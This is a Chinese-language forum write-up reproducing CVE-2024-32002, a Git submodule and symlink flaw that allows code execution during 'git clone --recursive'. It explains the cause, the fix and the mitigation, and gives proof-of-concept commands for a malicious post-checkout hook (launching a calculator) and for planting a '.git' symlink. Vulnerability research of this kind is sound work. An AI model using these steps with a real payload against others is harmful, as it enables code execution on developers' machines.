背景介绍

为什么没人关注CVE-2024-32002啊啊啊?搞得我这个菜鸡的都来写漏洞复现了。clone一个仓库都能触发rce,这不吊吗?专门为程序员准备的漏洞啊。
近期,Git 安全社区发现了一个新的严重漏洞,被标记为 CVE-2024-32002。该漏洞允许攻击者通过简单的 git clone 命令触发远程代码执行(RCE),这一发现立即引起了外网广泛的关注。考虑到 Git 在软件开发中的普遍应用及其 clone 命令的频繁使用,这一漏洞的潜在影响范围巨大。但是中文圈好像没看到分析文章。可能是漏洞复现需要管理员权限和--recursive参数导致利用条件有点苛刻。不然,这绝对对渗透程序员起绝杀作用的漏洞。前期社工做得好,感觉还是可以成功的。所以安全操作手册又加了一条内容:别轻易clone不受信任的仓库。

漏洞概述

CVE-2024-32002 利用了 Git 在处理子模块时的一个缺陷,允许攻击者精心构造一个仓库,使 Git 将文件写入到 .git/ 目录而不是预期的子模块工作树中。这样一来,攻击者可以植入恶意的钩子脚本,在克隆操作仍在进行时即被执行,用户几乎无法事先检查即将执行的代码。

关键因素

子模块与工作树:Git 允许在仓库内嵌套其他仓库作为子模块,这些子模块在主仓库的指定目录下。漏洞利用的关键在于如何欺骗 Git 将恶意文件放置在错误的位置。

符号链接(symlinks)的作用:符号链接是文件系统中的特殊对象,指向另一个文件或目录。在这个漏洞场景中,攻击者可以利用符号链接来指向 .git/ 目录内的文件,从而绕过正常的文件路径检查机制。

案例不敏感文件系统的漏洞:在Windows和macOS等默认采用案例不敏感文件系统的平台上,攻击者可以通过创建与已有目录名称仅大小写不同的符号链接来覆盖目标目录,从而导致恶意代码执行。

修复与预防

官方安全公告指出,禁用Git中的符号链接支持(例如,通过 git config --global core.symlinks false)可以阻止此攻击。此外,避免从不可信来源克隆仓库始终是最佳实践。

源代码分析

为了深入理解漏洞机制,首先克隆 Git 的源代码到本地,并切换到最后一个已知存在漏洞的版本(v2.45.0)。修复该漏洞的提交主要修改了两个文件:builtin/submodule--helper.c 和 t/t7406-submodule-update.sh。

新函数 dir_contains_only_dotgit:确保在创建子模块路径时不会跟随符号链接,避免将目录意外地替换为符号链接。

新函数dir_contains_only_dotgit

clone_submodule 函数的变化:在克隆子模块前,Git 现在会检查目标目录是否存在且为空,如果不符合条件,则中止操作,防止覆盖。

clone_submodule 函数的变化

测试脚本 t/t7406-submodule-update.sh:包含了一系列设置和操作,用于验证漏洞的复现情况,包括启用文件协议、符号链接支持以及定义一个标记文件来检测RCE是否成功。

git开发人员用来检查rce是否修复的测试脚本

实验复现

通过构造特定的仓库结构和符号链接,研究者成功复现了漏洞。具体步骤包括:

1.创建恶意钩子脚本:在子模块的 hooks/post-checkout 文件中编写代码,以在克隆过程中执行特定命令。

# 写一些恶意代码到hook里面
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# 让hook具有执行权限
chmod +x y/hooks/post-checkout

2.构造符号链接:在主仓库中创建一个指向 .git/ 目录的符号链接,利用大小写不敏感文件系统的特性。

# 创建 symlink
# 将字符串 ".git" 输出到 dotgit.txt 文件中
printf ".git" > dotgit.txt

# 计算 dotgit.txt 文件内容的哈希值,并将其内容作为一个 Git 对象存储在对象数据库中,
# 将哈希值写入 dot-git.hash 文件中
git hash-object -w --stdin < dotgit.txt > dot-git.hash

# 从 dot-git.hash 文件中读取哈希值,并生成索引信息格式:
# 120000 表示符号链接的文件模式,
# %s 是哈希值占位符,
# 0 表示阶段号,
# a 表示文件路径
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info

# 更新 Git 索引,将生成的索引信息(即符号链接)添加到索引中
git update-index --index-info < index.info

3.上传并克隆:将构造好的主仓库和子模块仓库上传至GitHub,然后执行 git clone --recursive 命令,观察到计算器弹出,证明RCE成功。具体代码见参考里面的git仓库。

git clone --recursive captain hooked

结论

CVE-2024-32002 显示了即使是像 git clone 这样看似无害的操作也可能成为安全风险的入口点。通过细致的源代码分析和漏洞复现,我们不仅加深了对Git内部工作原理的理解,也提高了对软件供应链安全问题的警觉。对于开发者而言,持续关注并及时更新工具和依赖,遵循安全最佳实践,是防范此类漏洞的关键。

参考:
https://amalmurali.me/posts/git-rce/
https://github.com/amalmurali47/git_rce/tree/main
https://github.com/safebuffer/CVE-2024-32002
https://github.com/git/git

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖